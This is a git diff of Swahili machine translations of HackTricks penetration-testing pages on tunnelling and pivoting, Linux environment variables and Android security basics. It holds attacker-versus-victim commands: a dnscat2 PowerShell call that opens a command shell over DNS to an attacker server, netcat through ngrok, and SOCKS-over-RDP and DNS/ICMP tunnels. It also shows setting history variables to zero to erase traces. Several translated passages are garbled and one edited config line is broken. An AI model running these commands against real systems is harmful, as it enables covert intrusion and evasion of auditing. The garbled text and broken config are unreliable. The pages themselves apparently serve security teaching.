`Dynamic Virtual Channels` (`DVC`) kutoka kwa kipengele cha Huduma ya Desktop ya Mbali ya Windows. DVC inahusika na **kutunza pakiti kupitia uhusiano wa RDP**. 2. [Proxifier Portable Binary](https://www.proxifier.com/download/#win-tab) -Katika kompyuta yako ya mteja, pakia **`SocksOverRDP-Plugin.dll`** kama ifuatavyo: +Kwenye kompyuta yako ya mteja pakia **`SocksOverRDP-Plugin.dll`** kama hivi: ```bash # Load SocksOverRDP.dll using regsvr32.exe C:\SocksOverRDP-x64> regsvr32.exe SocksOverRDP-Plugin.dll ``` -Sasa tunaweza **kuunganisha** kwa **mwathiriwa** kupitia **RDP** kwa kutumia **`mstsc.exe`**, na tunapaswa kupokea **kidhibiti** kinachosema kuwa **programu-jalizi ya SocksOverRDP imeamilishwa**, na itakuwa **ikisikiliza** kwenye **127.0.0.1:1080**. +Sasa tunaweza **kuunganisha** kwa **muhanga** kupitia **RDP** kutumia **`mstsc.exe`**, na tunapaswa kupokea **kitufe** kikisema kuwa **programu-jalizi ya SocksOverRDP imeanzishwa**, na itakuwa **ikisikiliza** kwenye **127.0.0.1:1080**. -**Unge** kupitia **RDP** na kupakia na kutekeleza kwenye kompyuta ya mwathiriwa faili ya `SocksOverRDP-Server.exe`: +**Ungezea** kupitia **RDP** na kupakia & kutekeleza kwenye mashine ya muhanga `SocksOverRDP-Server.exe` binary: ``` C:\SocksOverRDP-x64> SocksOverRDP-Server.exe ``` -Sasa, hakikisha kwenye kompyuta yako (mshambuliaji) kwamba bandari ya 1080 inasikiliza: +Sasa, hakikisha kwenye mashine yako (mshambuliaji) kwamba bandari 1080 inasikiliza: ``` netstat -antb | findstr 1080 ``` -Sasa unaweza kutumia [**Proxifier**](https://www.proxifier.com/) **kupitia trafiki kupitia bandari hiyo.** +Sasa unaweza kutumia [**Proxifier**](https://www.proxifier.com/) **kupitia trafiki hiyo kupitia bandari hiyo.** ## Proxify Programu za Windows GUI -Unaweza kufanya programu za Windows GUI zinazunguka kupitia proksi kwa kutumia [**Proxifier**](https://www.proxifier.com/).\ +Unaweza kufanya programu za Windows GUI zinazotembea kupitia proksi kwa kutumia [**Proxifier**](https://www.proxifier.com/).\ Katika **Profile -> Proxy Servers** ongeza IP na bandari ya seva ya SOCKS.\ -Katika **Profile -> Proxification Rules** ongeza jina la programu ya kufanywa proksi na uhusiano kwa IP unayotaka kufanywa proksi. +Katika **Profile -> Proxification Rules** ongeza jina la programu ya kufanya proksi na uhusiano kwa IPs unazotaka kufanya proksi. -## Kupitisha kizuizi cha proksi cha NTLM +## Kupuuza proksi ya NTLM Zana iliyotajwa hapo awali: **Rpivot**\ -**OpenVPN** pia inaweza kusaidia, kwa kuweka chaguo hizi katika faili ya usanidi: +**OpenVPN** pia inaweza kuipuuza, kwa kuweka chaguo hizi katika faili ya usanidi: ```bash http-proxy 8080 ntlm ``` @@ -470,8 +360,8 @@ http-proxy 8080 ntlm [http://cntlm.sourceforge.net/](http://cntlm.sourceforge.net/) -Inathibitisha utambulisho dhidi ya wakala na kubana bandari kwa upande wa ndani ambayo inaelekezwa kwa huduma ya nje unayotaja. Kisha, unaweza kutumia chombo cha uchaguzi wako kupitia bandari hii.\ -Kwa mfano, inabana bandari 443 +Inathibitisha dhidi ya proxi na kufunga bandari kwa upande wa ndani ambayo inaelekezwa kwa huduma ya nje unayotaja. Kisha, unaweza kutumia chombo unachopendelea kupitia bandari hii.\ +Kwa mfano, inaweza kuendesha bandari 443. ``` Username Alice Password P@ssw0rd @@ -479,12 +369,12 @@ Domain CONTOSO.COM Proxy 10.0.0.10:8080 Tunnel 2222::443 ``` -Sasa, ikiwa unaweka kwa mfano kwenye mwathiriwa huduma ya **SSH** kusikiliza kwenye bandari 443. Unaweza kuunganisha kupitia bandari ya mshambuliaji 2222.\ -Unaweza pia kutumia **meterpreter** ambayo inaunganisha kwenye localhost:443 na mshambuliaji anasikiliza kwenye bandari 2222. +Sasa, ikiwa unaweka kwa mfano kwenye mhanga huduma ya **SSH** kusikiliza kwenye bandari 443. Unaweza kuunganisha kupitia bandari ya 2222 ya mshambuliaji.\ +Unaweza pia kutumia **meterpreter** inayounganisha kwa localhost:443 na mshambuliaji anasikiliza kwenye bandari 2222. ## YARP -Kiproksi cha kurudisha kilichoundwa na Microsoft. Unaweza kuipata hapa: [https://github.com/microsoft/reverse-proxy](https://github.com/microsoft/reverse-proxy) +Proksi ya nyuma iliyoundwa na Microsoft. Unaweza kuipata hapa: [https://github.com/microsoft/reverse-proxy](https://github.com/microsoft/reverse-proxy) ## DNS Tunneling @@ -492,13 +382,13 @@ Kiproksi cha kurudisha kilichoundwa na Microsoft. Unaweza kuipata hapa: [https:/ [https://code.kryo.se/iodine/](https://code.kryo.se/iodine/) -Mizizi inahitajika kwenye mifumo yote kuunda ada za tun na kusambaza data kati yao kwa kutumia maswali ya DNS. +Root inahitajika kwenye mifumo yote kujenga viunganishi vya tun na kufanya data ya mtaro kati yao kutumia matakwa ya DNS. ``` attacker> iodined -f -c -P P@ssw0rd 1.1.1.1 tunneldomain.com victim> iodine -f -P P@ssw0rd tunneldomain.com -r #You can see the victim at 1.1.1.2 ``` -Tunnel hii itakuwa polepole sana. Unaweza kuunda uhusiano wa SSH uliopunguzwa kupitia tunnel hii kwa kutumia: +Tunnel itakuwa polepole sana. Unaweza kuunda uhusiano wa SSH uliopimwa kupitia handaki hili kwa kutumia: ``` ssh @1.1.1.2 -C -c blowfish-cbc,arcfour -o CompressionLevel=9 -D 1080 ``` @@ -506,7 +396,7 @@ ssh @1.1.1.2 -C -c blowfish-cbc,arcfour -o CompressionLevel=9 -D 1080 [**Pakua hapa**](https://github.com/iagox86/dnscat2)**.** -Inajenga njia ya C\&C kupitia DNS. Haina haja ya mamlaka ya msingi. +Inaanzisha njia ya C\&C kupitia DNS. Haitaji mamlaka ya msingi. ```bash attacker> ruby ./dnscat2.rb tunneldomain.com victim> ./dnscat2 tunneldomain.com @@ -515,53 +405,23 @@ victim> ./dnscat2 tunneldomain.com attacker> ruby dnscat2.rb --dns host=10.10.10.10,port=53,domain=mydomain.local --no-cache victim> ./dnscat2 --dns host=10.10.10.10,port=5353 ``` -#### **Katika PowerShell** +#### **Kwa PowerShell** -Unaweza kutumia [**dnscat2-powershell**](https://github.com/lukebaggett/dnscat2-powershell) kuendesha mteja wa dnscat2 katika powershell: +Unaweza kutumia [**dnscat2-powershell**](https://github.com/lukebaggett/dnscat2-powershell) kutekeleza mteja wa dnscat2 kwenye powershell: ``` Import-Module .\dnscat2.ps1 Start-Dnscat2 -DNSserver 10.10.10.10 -Domain mydomain.local -PreSharedSecret somesecret -Exec cmd ``` -#### **Kusambaza Bandari na dnscat** - -Port forwarding is a technique used to redirect network traffic from one port to another. It can be useful in various scenarios, such as accessing a service running on a remote machine through a firewall or NAT device. - -Dnscat is a tool that allows you to create a covert communication channel by encapsulating data within DNS queries and responses. It can be used for various purposes, including bypassing firewalls and exfiltrating data from a target network. - -To perform port forwarding with dnscat, follow these steps: - -1. Set up a dnscat server on a machine with a public IP address. This will act as the relay between the client and the target machine. - -2. Configure the DNS settings of the target machine to use the dnscat server as its primary DNS server. - -3. Start the dnscat server and specify the port you want to forward traffic to. For example, if you want to forward traffic from port 8080 to the target machine, you would run the following command: - - ``` - dnscat --dns --dns-port --forward :8080 - ``` - - Replace `` with the IP address of the dnscat server and `` with the port number it is listening on. - -4. On the client machine, start the dnscat client and specify the dnscat server IP address and port number. For example: - - ``` - dnscat --dns --dns-port - ``` - - Replace `` with the IP address of the dnscat server and `` with the port number it is listening on. - -5. Once the client is connected to the dnscat server, you can access the target machine's service by connecting to the specified port on the client machine. The traffic will be forwarded to the target machine through the dnscat server. - -Port forwarding with dnscat can be a powerful technique for bypassing network restrictions and accessing services on remote machines. However, it is important to use this technique responsibly and with proper authorization. +#### **Kusonga mbele kwa kutumia dnscat** ```bash session -i listen [lhost:]lport rhost:rport #Ex: listen 127.0.0.1:8080 10.0.0.20:80, this bind 8080port in attacker host ``` #### Badilisha DNS ya proxychains -Proxychains inakamata wito wa libc wa `gethostbyname` na kusafirisha ombi la DNS la tcp kupitia soksi ya proxy. Kwa **chaguo-msingi**, seva ya **DNS** ambayo proxychains hutumia ni **4.2.2.2** (imeandikwa kwa nguvu). Ili kubadilisha, hariri faili: _/usr/lib/proxychains3/proxyresolv_ na ubadilishe IP. Ikiwa uko katika mazingira ya **Windows**, unaweza kuweka IP ya **domain controller**. +Proxychains inakamata wito wa libc wa `gethostbyname` na kufanya ombi la DNS la tcp kupitia proksi ya socks. Kwa **chaguo-msingi** serveri ya **DNS** ambayo proxychains hutumia ni **4.2.2.2** (imeandikwa kikamilifu). Ili kubadilisha, hariri faili: _/usr/lib/proxychains3/proxyresolv_ na ubadilishe IP. Ikiwa uko katika mazingira ya **Windows** unaweza kuweka IP ya **domain controller**. -## Mifereji katika Go +## Mita Mita katika Go [https://github.com/hotnops/gtunnel](https://github.com/hotnops/gtunnel) @@ -572,7 +432,7 @@ Proxychains inakamata wito wa libc wa `gethostbyname` na kusafirisha ombi la DNS [https://github.com/friedrich/hans](https://github.com/friedrich/hans)\ [https://github.com/albertzak/hanstunnel](https://github.com/albertzak/hanstunnel) -Inahitajika kuwa na mizizi kwenye mifumo yote mawili ili kuunda ada za tun na kusafirisha data kati yao kwa kutumia ombi la ICMP echo. +Mizizi inahitajika katika mifumo yote miwili ili kuunda viunganishi vya tun na kutuma data kati yao kwa kutumia maombi ya ping ya ICMP. ```bash ./hans -v -f -s 1.1.1.1 -p P@ssw0rd #Start listening (1.1.1.1 is IP of the new vpn connection) ./hans -f -c -p P@ssw0rd -v @@ -596,13 +456,13 @@ ssh -D 9050 -p 2222 -l user 127.0.0.1 ``` ## ngrok -**[ngrok](https://ngrok.com/) ni zana ya kuwezesha ufikiaji wa suluhisho kwenye mtandao kwa kutumia amri moja tu.** -*URI ya ufikiaji ni kama:* **UID.ngrok.io** +**[ngrok](https://ngrok.com/) ni chombo cha kufunua suluhisho kwa Mtandao kwa amri moja.** +*URI za Ufunuo ni kama:* **UID.ngrok.io** -### Ufungaji +### Usakinishaji - Unda akaunti: https://ngrok.com/signup -- Pakua mteja: +- Pakua Mteja: ```bash tar xvzf ~/Downloads/ngrok-v3-stable-linux-amd64.tgz -C /usr/local/bin chmod a+x ./ngrok @@ -611,11 +471,11 @@ chmod a+x ./ngrok ``` ### Matumizi ya Msingi -**Hati:** [https://ngrok.com/docs/getting-started/](https://ngrok.com/docs/getting-started/). +**Nyaraka:** [https://ngrok.com/docs/getting-started/](https://ngrok.com/docs/getting-started/). -*Pia ni muhimu kuongeza uthibitishaji na TLS, ikiwa ni lazima.* +*Pia niwezekana kuongeza uthibitisho na TLS, ikiwa ni lazima.* -#### Kuchimba TCP +#### Kufanya Barabara ya TCP ```bash # Pointing to 0.0.0.0:4444 ./ngrok tcp 4444 @@ -623,41 +483,17 @@ chmod a+x ./ngrok # Listen (example): nc -nvlp 4444 # Remote connect (example): nc $(dig +short 0.tcp.ngrok.io) 12345 ``` -#### Kufichua faili kwa kutumia HTTP - -One way to expose files on a target machine is by using HTTP. This can be done by setting up a simple HTTP server on your machine and then using a tunneling technique to forward traffic from the target machine to your machine. - -Moja ya njia za kufichua faili kwenye kifaa cha lengo ni kwa kutumia HTTP. Hii inaweza kufanywa kwa kuweka seva rahisi ya HTTP kwenye kifaa chako na kisha kutumia njia ya tunneling kuhamisha trafiki kutoka kifaa cha lengo kwenda kifaa chako. - -To set up an HTTP server, you can use tools like Python's `SimpleHTTPServer` module or `http.server` module. These tools allow you to easily create a basic HTTP server that serves files from a specified directory. - -Kuweka seva ya HTTP, unaweza kutumia zana kama moduli ya `SimpleHTTPServer` ya Python au moduli ya `http.server`. Zana hizi zinaruhusu kuunda kwa urahisi seva ya HTTP ya msingi ambayo inahudumia faili kutoka kwenye saraka iliyotajwa. - -Once the HTTP server is set up, you can use a tunneling technique like SSH port forwarding or reverse SSH tunneling to forward traffic from the target machine to your machine. - -Baada ya kuweka seva ya HTTP, unaweza kutumia njia ya tunneling kama SSH port forwarding au reverse SSH tunneling kuhamisha trafiki kutoka kifaa cha lengo kwenda kifaa chako. - -With SSH port forwarding, you can forward traffic from a specific port on the target machine to a port on your machine. This allows you to access the files served by the HTTP server on your machine. - -Kwa SSH port forwarding, unaweza kuhamisha trafiki kutoka bandari maalum kwenye kifaa cha lengo kwenda bandari kwenye kifaa chako. Hii inakuwezesha kupata faili zinazohudumiwa na seva ya HTTP kwenye kifaa chako. - -Reverse SSH tunneling, on the other hand, allows you to forward traffic from a port on your machine to a port on the target machine. This can be useful if the target machine is behind a firewall or NAT and cannot be directly accessed from the internet. - -Kwa upande mwingine, reverse SSH tunneling inakuwezesha kuhamisha trafiki kutoka bandari kwenye kifaa chako kwenda bandari kwenye kifaa cha lengo. Hii inaweza kuwa na manufaa ikiwa kifaa cha lengo kimefungwa na firewall au NAT na hakiwezi kupatikana moja kwa moja kutoka kwenye mtandao. - -By combining an HTTP server with tunneling techniques, you can expose files on a target machine and access them remotely. This can be useful for various purposes, such as retrieving sensitive information or transferring files between machines. - -Kwa kuunganisha seva ya HTTP na njia za tunneling, unaweza kufichua faili kwenye kifaa cha lengo na kuzipata kijijini. Hii inaweza kuwa na manufaa kwa madhumuni mbalimbali, kama vile kupata habari nyeti au kuhamisha faili kati ya vifaa. +#### Kufunua faili kwa kutumia HTTP ```bash ./ngrok http file:///tmp/httpbin/ # Example of resulting link: https://abcd-1-2-3-4.ngrok.io/ ``` -#### Kusikiliza wito wa HTTP +#### Kuchunguza wito wa HTTP *Inatumika kwa XSS, SSRF, SSTI ...* Moja kwa moja kutoka kwa stdout au kwenye kiolesura cha HTTP [http://127.0.0.1:4040](http://127.0.0.1:4000). -#### Kuchimba huduma ya ndani ya HTTP kwa njia ya handaki +#### Kutunelisha huduma ya ndani ya HTTP ```bash ./ngrok http localhost:8080 --host-header=rewrite # Example of resulting link: https://abcd-1-2-3-4.ngrok.io/ @@ -668,12 +504,12 @@ Moja kwa moja kutoka kwa stdout au kwenye kiolesura cha HTTP [http://127.0.0.1:4 Inafungua njia 3: - 2 TCP -- 1 HTTP na ufunuo wa faili za tuli kutoka /tmp/httpbin/ +- 1 HTTP na ufunuo wa faili za static kutoka /tmp/httpbin/ ```yaml tunnels: mytcp: addr: 4444 -proto: tcp +proto: tcptunne anothertcp: addr: 5555 proto: tcp @@ -686,14 +522,22 @@ addr: file:///tmp/httpbin/ * [https://github.com/securesocketfunneling/ssf](https://github.com/securesocketfunneling/ssf) * [https://github.com/z3APA3A/3proxy](https://github.com/z3APA3A/3proxy) +**Kikundi cha Usalama cha Kujitahidi** + +
+ +{% embed url="https://discord.gg/tryhardsecurity" %} + +*** +
-Jifunze kuhusu kudukua AWS kutoka mwanzo hadi kuwa bingwa na htARTE (HackTricks AWS Red Team Expert)! +Jifunze kuhusu kuvamia AWS kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)! -* Je, unafanya kazi katika **kampuni ya usalama wa mtandao**? Je, ungependa kuona **kampuni yako ikionekana katika HackTricks**? Au ungependa kupata ufikiaji wa **toleo jipya zaidi la PEASS au kupakua HackTricks kwa PDF**? Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)! -* Gundua [**The PEASS Family**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa kipekee wa [**NFTs**](https://opensea.io/collection/the-peass-family) -* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com) -* **Jiunge na** [**💬**](https://emojipedia.org/speech-balloon/) [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **nifuate** kwenye **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwenye [repo ya hacktricks](https://github.com/carlospolop/hacktricks) na [repo ya hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**. +* Je! Unafanya kazi katika **kampuni ya usalama wa mtandao**? Je! Unataka kuona **kampuni yako ikitangazwa kwenye HackTricks**? au unataka kupata ufikiaji wa **toleo jipya zaidi la PEASS au kupakua HackTricks kwa PDF**? Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)! +* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee +* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com) +* **Jiunge na** [**💬**](https://emojipedia.org/speech-balloon/) [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **nifuata** kwenye **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Shiriki mbinu zako za kuvamia kwa kuwasilisha PRs kwa [repo ya hacktricks](https://github.com/carlospolop/hacktricks) na [repo ya hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
diff --git a/linux-hardening/linux-environment-variables.md b/linux-hardening/linux-environment-variables.md index d137d3b15..5d75fa1b7 100644 --- a/linux-hardening/linux-environment-variables.md +++ b/linux-hardening/linux-environment-variables.md @@ -2,23 +2,31 @@
-Jifunze kuhusu kuhack AWS kutoka mwanzo hadi kuwa bingwa na htARTE (HackTricks AWS Red Team Expert)! +Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)! Njia nyingine za kusaidia HackTricks: -* Ikiwa unataka kuona **kampuni yako inatangazwa kwenye HackTricks** au **kupakua HackTricks kwa muundo wa PDF** Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)! -* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com) -* Gundua [**The PEASS Family**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) za kipekee -* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** -* **Shiriki mbinu zako za kuhack kwa kuwasilisha PRs kwenye** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github. +* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)! +* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com) +* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) za kipekee +* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** +* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
-## Mazingira ya kawaida +**Kikundi cha Usalama cha Try Hard** -Mazingira ya kawaida **yataurithiwa** na **mchakato wa watoto**. +
-Unaweza kuunda mazingira ya kawaida kwa kikao chako cha sasa kwa kufanya: +{% embed url="https://discord.gg/tryhardsecurity" %} + +*** + +## Mazingira ya Kitaifa + +Mazingira ya kitaifa **yataurithiwa na** **mchakato wa watoto**. + +Unaweza kuunda mazingira ya kitaifa kwa kikao chako cha sasa kwa kufanya: ```bash export MYGLOBAL="hello world" echo $MYGLOBAL #Prints: hello world @@ -29,29 +37,15 @@ Unaweza **kuondoa** variable kwa kufanya: ```bash unset MYGLOBAL ``` -## Variables za ndani +## Variables za Kienyeji -**Variables za ndani** zinaweza kufikiwa tu na **kifaa cha sasa/kielekezi**. +**Variables za kienyeji** zinaweza kufikiwa tu na **shell/script ya sasa**. ```bash LOCAL="my local" echo $LOCAL unset LOCAL ``` -## Orodha ya mazingira ya sasa - -To list the current environment variables in Linux, you can use the following command: - -```bash -echo $VARIABLE_NAME -``` - -Replace `VARIABLE_NAME` with the name of the specific variable you want to display. If you want to list all the variables, you can use the `env` command: - -```bash -env -``` - -This will display a list of all the current environment variables in your Linux system. +## Orodhesha mazingira ya sasa ```bash set env @@ -59,63 +53,63 @@ printenv cat /proc/$$/environ cat /proc/`python -c "import os; print(os.getppid())"`/environ ``` -## Variables za Kawaida +## Vipimo vya kawaida Kutoka: [https://geek-university.com/linux/common-environment-variables/](https://geek-university.com/linux/common-environment-variables/) -* **DISPLAY** - kuonyesha inayotumiwa na **X**. Kawaida, hii variable imewekwa kama **:0.0**, ambayo inamaanisha kuwa ni kuonyesha ya kwanza kwenye kompyuta ya sasa. -* **EDITOR** - mhariri wa maandishi unaopendelewa na mtumiaji. -* **HISTFILESIZE** - idadi kubwa ya mistari inayoweza kuwa kwenye faili ya historia. -* **HISTSIZE** - Idadi ya mistari inayopaswa kuongezwa kwenye faili ya historia wakati mtumiaji anapomaliza kikao chake. -* **HOME** - saraka yako ya nyumbani. -* **HOSTNAME** - jina la mwenyeji wa kompyuta. -* **LANG** - lugha yako ya sasa. -* **MAIL** - eneo la sanduku la barua pepe la mtumiaji. Kawaida ni **/var/spool/mail/USER**. -* **MANPATH** - orodha ya saraka za kutafuta kurasa za mwongozo. -* **OSTYPE** - aina ya mfumo wa uendeshaji. -* **PS1** - ishara ya amri ya msingi katika bash. -* **PATH** - inahifadhi njia ya saraka zote ambazo zina faili za binary unazotaka kutekeleza kwa kutoa tu jina la faili na sio njia ya kihusishi au kamili. -* **PWD** - saraka ya kazi ya sasa. -* **SHELL** - njia ya kabati ya amri ya sasa (kwa mfano, **/bin/bash**). -* **TERM** - aina ya terminal ya sasa (kwa mfano, **xterm**). -* **TZ** - muda wako wa eneo. -* **USER** - jina lako la mtumiaji la sasa. +* **DISPLAY** – kiolesura kinachotumiwa na **X**. Kipimo hiki kawaida huwekwa kama **:0.0**, ambayo inamaanisha kiolesura cha kwanza kwenye kompyuta ya sasa. +* **EDITOR** – mhariri wa maandishi unaopendelewa na mtumiaji. +* **HISTFILESIZE** – idadi kubwa ya mistari inayojumuishwa kwenye faili ya historia. +* **HISTSIZE** – Idadi ya mistari inayoongezwa kwenye faili ya historia wakati mtumiaji anamaliza kikao chake. +* **HOME** – saraka yako ya nyumbani. +* **HOSTNAME** – jina la mwenyeji wa kompyuta. +* **LANG** – lugha yako ya sasa. +* **MAIL** – eneo la sanduku la barua pepe la mtumiaji. Kawaida **/var/spool/mail/USER**. +* **MANPATH** – orodha ya saraka za kutafuta kurasa za mwongozo. +* **OSTYPE** – aina ya mfumo wa uendeshaji. +* **PS1** – ishara ya amri ya msingi katika bash. +* **PATH** – hifadhi njia ya saraka zote zinazoshikilia faili za binary unazotaka kutekeleza kwa kutoa jina la faili na sio kwa njia ya kihusishi au kamili. +* **PWD** – saraka ya kazi ya sasa. +* **SHELL** – njia ya kabu ya amri ya sasa (kwa mfano, **/bin/bash**). +* **TERM** – aina ya terminal ya sasa (kwa mfano, **xterm**). +* **TZ** – eneo lako la muda. +* **USER** – jina lako la mtumiaji la sasa. -## Variables za Kuvutia kwa Udukuzi +## Vipimo vya kuvutia kwa udukuzi ### **HISTFILESIZE** -Badilisha **thamani ya variable hii kuwa 0**, ili wakati unapo **maliza kikao chako**, faili ya historia (\~/.bash\_history) **itafutwa**. +Badilisha **thamani ya kipimo hiki kuwa 0**, hivyo unapomaliza kikao chako faili ya historia (\~/.bash\_history) **itafutwa**. ```bash export HISTFILESIZE=0 ``` ### **HISTSIZE** -Badilisha **thamani ya kipekee ya hii variable kuwa 0**, ili wakati unapo **maliza kikao chako**, amri yoyote itakayotumika haitaongezwa kwenye **faili ya historia** (\~/.bash\_history). +**Badilisha thamani ya kigezo hiki iwe 0**, ili unapomaliza **kikao chako** amri yoyote isiongezwe kwenye **faili ya historia** (\~/.bash\_history). ```bash export HISTSIZE=0 ``` ### http\_proxy & https\_proxy -Mchakato utatumia **proxy** iliyotangazwa hapa kuunganisha na mtandao kupitia **http au https**. +Mchakato utatumia **proxy** iliyotangazwa hapa kuunganisha kwenye mtandao kupitia **http au https**. ```bash export http_proxy="http://10.10.10.10:8080" export https_proxy="http://10.10.10.10:8080" ``` ### SSL\_CERT\_FILE & SSL\_CERT\_DIR -Mchakato utaamini vyeti vilivyotajwa katika **hizi variables za mazingira**. +Mchakato utaamini vyeti vilivyoorodheshwa katika **hizi variables za mazingira**. ```bash export SSL_CERT_FILE=/path/to/ca-bundle.pem export SSL_CERT_DIR=/path/to/ca-certificates ``` ### PS1 -Badilisha jinsi kivinjari chako kinavyoonekana. +**Badilisha jinsi dirisha lako la amri linavyoonekana.** [**Hii ni mfano**](https://gist.github.com/carlospolop/43f7cd50f3deea972439af3222b68808) -Root: +Mizizi: ![](<../.gitbook/assets/image (87).png>) @@ -123,24 +117,30 @@ Mtumiaji wa kawaida: ![](<../.gitbook/assets/image (88).png>) -Kazi tatu zilizowekwa nyuma: +Kazi moja, mbili na tatu zilizowekwa nyuma: ![](<../.gitbook/assets/image (89).png>) -Kazi moja iliyowekwa nyuma, moja ilisimamishwa na amri ya mwisho haikumalizika kwa usahihi: +Kazi moja iliyowekwa nyuma, moja imezuiliwa na amri ya mwisho haikumalizika kwa usahihi: ![](<../.gitbook/assets/image (90).png>) +**Kikundi cha Usalama cha Kujaribu Kwa Bidii** + +
+ +{% embed url="https://discord.gg/tryhardsecurity" %} +
-Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na htARTE (HackTricks AWS Red Team Expert)! +Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)! Njia nyingine za kusaidia HackTricks: -* Ikiwa unataka kuona **kampuni yako inatangazwa kwenye HackTricks** au **kupakua HackTricks kwa muundo wa PDF** Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)! -* Pata [**swag rasmi wa PEASS & HackTricks**](https://peass.creator-spring.com) -* Gundua [**The PEASS Family**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) za kipekee -* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** -* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwenye** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. +* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)! +* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com) +* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee +* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** +* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
diff --git a/mobile-pentesting/android-app-pentesting/android-applications-basics.md b/mobile-pentesting/android-app-pentesting/android-applications-basics.md index 9ae8ef496..f39e970da 100644 --- a/mobile-pentesting/android-app-pentesting/android-applications-basics.md +++ b/mobile-pentesting/android-app-pentesting/android-applications-basics.md @@ -2,7 +2,7 @@
-Jifunze AWS hacking kutoka sifuri hadi shujaa na htARTE (HackTricks AWS Red Team Expert)! +Jifunze AWS hacking kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)! Njia nyingine za kusaidia HackTricks: @@ -14,6 +14,14 @@ Njia nyingine za kusaidia HackTricks:
+**Kikundi cha Usalama cha Kujitahidi** + +
+ +{% embed url="https://discord.gg/tryhardsecurity" %} + +*** + ## Mfano wa Usalama wa Android **Kuna safu mbili:** @@ -27,42 +35,42 @@ Njia nyingine za kusaidia HackTricks: ### Kushiriki UID -**Maombi mawili yanaweza kusanidiwa kutumia UID sawa**. Hii inaweza kuwa na manufaa kushiriki habari, lakini ikiwa moja yao itashambuliwa data ya maombi yote itashambuliwa. Ndio maana tabia hii inachukuliwa **si nzuri**.\ +**Maombi mawili yanaweza kusanidiwa kutumia UID sawa**. Hii inaweza kuwa na manufaa kushiriki habari, lakini ikiwa moja yao itashambuliwa data ya maombi yote itashambuliwa. Ndio maana tabia hii inapendekezwa **kutofanywa**.\ **Ili kushiriki UID sawa, maombi lazima yatamke thamani sawa ya `android:sharedUserId` katika mizizi yao.** -### Sandboxing +### Sanduku la Kumaliza -**Sandbox ya Maombi ya Android** inaruhusu kufanya kazi **kila maombi** kama **mchakato tofauti chini ya Kitambulisho cha Mtumiaji tofauti**. Kila mchakato una mashine yake ya kisasa, hivyo msimbo wa programu hufanya kazi kivyake kutoka kwa programu nyingine.\ -Kuanzia Android 